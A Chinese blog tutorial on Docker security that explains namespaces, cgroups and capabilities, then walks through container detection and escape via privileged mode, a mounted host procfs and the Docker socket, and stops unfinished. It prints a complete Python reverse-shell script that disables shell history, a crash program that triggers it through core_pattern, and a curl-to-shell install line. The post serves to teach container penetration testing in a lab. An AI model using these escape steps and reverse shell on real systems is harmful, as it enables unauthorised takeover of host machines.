Docker安全(一)

Docker介绍

Docker是一种轻量级的虚拟化技术,同时是一个开源的应用容器运行环境搭建平台,可以让开发者以便捷方式打包应用到一个可移植的容器中,然后安装至任何运行Linux或Windows等系统的服务器上。相较于传统虚拟机,Docker容器提供轻量化的虚拟化方式、安装便捷、启停速度快

Docker容器具有以下三大特点:
轻量化:一台主机上运行的多个Docker容器可以共享主机操作系统内核;启动迅速,只需占用很少的计算和内存资源
标准开放:Docker容器基于开放式标准,能够在所有主流Linux版本、Microsoft Windows以及包括VM、裸机服务器和云在内的任何基础设施上运行
安全可靠:Docker赋予应用的隔离性不仅限于彼此隔离,还独立于底层的基础设施。Docker默认提供最强的隔离,因此应用出现问题,也只是单个容器的问题,而不会波及到整台主机

Docker容器的运行逻辑如下图所示,Docker使用客户端/服务器 (C/S) 架构模式,Docker守护进程(Docker daemon)作为Server端接收Docker客户端的请求,并负责创建、运行和分发Docker容器。Docker守护进程一般在Docker主机后台运行,用户使用Docker客户端直接跟Docker守护进程进行信息交互

Docker安全机制

提到Docker安全,就不得不说以下名词:

Namespace–>内核命名空间
Linux的namespace是一种内核特性,可以将系统资源进行隔离,每个隔离的部分被称为一个namespace。通过使用namespace,可以将不同进程之间的资源进行隔离,使得它们感觉像是在独立的环境中运行。用简洁明了的话来说,namespace实现了容器与容器,容器与宿主机之间的隔离,而业内广为人知的privileged特权逃逸的本质也是因为特权环境打破了容器与宿主机直接的隔离实现了容器逃逸

Cgroups–>控制组
Cgroups本质上是在内核中附加的一系列钩子(hook),当程序运行时,内核会根据程序对资源的请求触发相应的钩子,以达到资源追踪和限制的目的。在Linux系统中,Cgroups对于系统资源的管理和控制非常重要,可以帮助管理员更加精细化地控制资源的分配和使用,Cgroups主要实现了对容器资源的分配,限制和管理

Capabilities
Capabilities是Linux一种安全机制,在linux内核2.2之后引入,用于对权限更细致的控制

参考文章:
https://info.support.huawei.com/info-finder/encyclopedia/zh/Docker%E5%AE%B9%E5%99%A8.html
https://www.hacking8.com/MiscSecNotes/23.html

Docker常用渗透测试点

前渗透——容器判断与信息收集

当我们拿到了一个shell,首先要判断的是当前环境是否为容器环境,我们可以通过以下方式进行判断

1、查询cgroup信息
当在容器中运行进程时,每个进程会被分配到一个或多个 cgroup 中,cgroup 可以对进程的资源使用进行控制和限制,而/proc/1/cgroup文件记录了进程的控制组信息

通过上图可知,我们通过判断cat /proc/1/cgroup的输出内容是否有docker来判断是否是容器内的环境,所以我们可以稍微修改一下上述查询的语句

1
cat /proc/1/cgroup | grep -qi docker && echo "In Docker" || echo "Not Docker"

2、查看硬盘信息
容器输出为空,非容器有内容输出。值得注意的是:Privileged 特权模式下也是可以查看到内容的

1
fdisk -l

容器内环境:

3、查询.dockerenv文件
.dockerenv文件是Docker守护进程的配置文件,它包含了Docker守护进程的运行参数和配置信息。这个文件通常用于配置Docker守护进程的行为,例如容器的网络设置、存储驱动、卷管理等。.dockerenv文件是一个文本文件,其中包含了一些环境变量,这些环境变量描述了Docker守护进程的状态和配置。这个文件通常由Docker守护进程的配置脚本生成,并保存在Docker守护进程的数据目录中。简单来说只有在docker环境下才有这个文件,所以可以通过检查是否有.dockerenv文件,来进行判断是否在docker环境中

1
ls -alh / |grep .dockerenv

4、检查mount信息+挂载点

后渗透-常见docker逃逸

容器逃逸的实质是从Cgroup/Namespace 限制权限的进程获取更多权限,常见的docker逃逸方式:
1、Priviliged 特权模式逃逸
2、挂载宿主机 procfs 逃逸
3、挂载 Docker Socket 逃逸

为了方便演示,在根目录下面创建一个flag.txt,如果在创建的镜像当中看到这个flag,证明逃逸成功

Priviliged 特权模式逃逸

如何判断当前容器是以Privileged 特权模式启动的呢?

这里提供两种方式:
1、我们可以使用 fdisk -l 查看宿主机的磁盘设备,如果不在 privileged 容器内部,是没有权限查看磁盘列表并操作挂载的
2、除此之外我们可以通过查看CapEff的掩码值来判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff

尝试使用文件挂载进行逃逸,然后我们再通过 cat 去查看被挂载的文件夹,如果可以成功看到宿主机的内容,说明逃逸成功

从对抗的层面上,不建议将逃逸的行为当成可以写入宿主机特定文件 (如 /etc/cron*, /root/.ssh/authorized_keys 等文件) 的行为,应该根据目标选择更趋近与业务行为的手法

挂载宿主机 procfs 逃逸

挂载宿主机 procfs 逃逸,其本质上因为宿主机挂载了procfs,导致我们可以像宿主机内写入一段恶意的payload,比如反弹shell,然后利用代码制造崩溃,触发内存转储,就会执行我们恶意的payload

Procfs 是进程文件系统的缩写,包含一个伪文件系统(启动时动态生成的文件系统),用于通过内核访问进程信息。linux这个文件系统通常被挂载到 /proc 目录。由于 /proc 不是一个真正的文件系统,它也就不占用存储空间,只是占用有限的内存。/proc中的文件可以被修改,但一般不可以被删除

如果返回了两个 core_pattern 文件,那么很可能就是挂载了宿主机的 procfs

1
find / -name core_pattern

core_pattern(核心转储模式)是Linux系统中的一个配置参数,用于定义在程序崩溃时生成核心转储文件的方式和位置。当一个程序发生崩溃(如段错误)时,操作系统会生成一个包含程序崩溃状态的核心转储文件,以便进行调试和故障排除

接下来我们需要找到docker在当前宿主机的绝对路径

1
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

可以看出,当前的绝对路径为:/var/lib/docker/overlay2/*****************/merged(去除work换成merged)
接下来我们需要准备一个反弹shell的脚本以及一个可以制造崩溃,触发内存转储的代码
反弹shell脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python3
import os
import pty
import socket
lhost = "127.0.0.1"
lport = 0000
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.liuty.py')
s.close()
if __name__ == "__main__":
main()

(注意:如果vim被禁用或者因为别的原因用不了,可以用cat+EOF代替)

接下来赋权并且将该脚本写到目标的 proc 目录下

然后我们用c写一个可以触发崩溃的程序

1
2
3
4
5
6
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}

随后进行编译并赋权限,紧接着我们在攻击机上起监听,于此同时,我们在容器内运行编译好的程序

成功反弹shell,并拿到flag
逃逸Success!

挂载 Docker Socket 逃逸

Docker Socket 是Docker引擎的UNIX套接字文件,用于与Docker守护进程进行通信。Docker守护进程是Docker引擎的核心组件,负责管理和执行容器。Docker Socket允许用户通过基于RESTful API的请求与Docker守护进程进行通信,以便执行各种操作,例如创建、运行和停止容器,构建和推送镜像,查看和管理容器的日志等

判断当前容器是否挂载Docker Socket,如果存在文件则说明Docker Socket被挂载,就可以尝试逃逸

我们可以在容器内部创建一个新的容器,因为Docker Socket被挂载到了当前容器,所有我们可以将宿主机目录挂载到新的容器内部

1
2
3
4
5
6
7
apt-get update

apt-get install curl

curl -fsSL https://get.docker.com/ | sh

apt-get update && apt-get install curl && curl -fsSL https://get.docker.com/ | sh

接下来,在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部即可

waiting……


Docker安全(一)
http://example.com/2024/02/13/Docker安全(一)/
作者
liuty
发布于
2024年2月13日
许可协议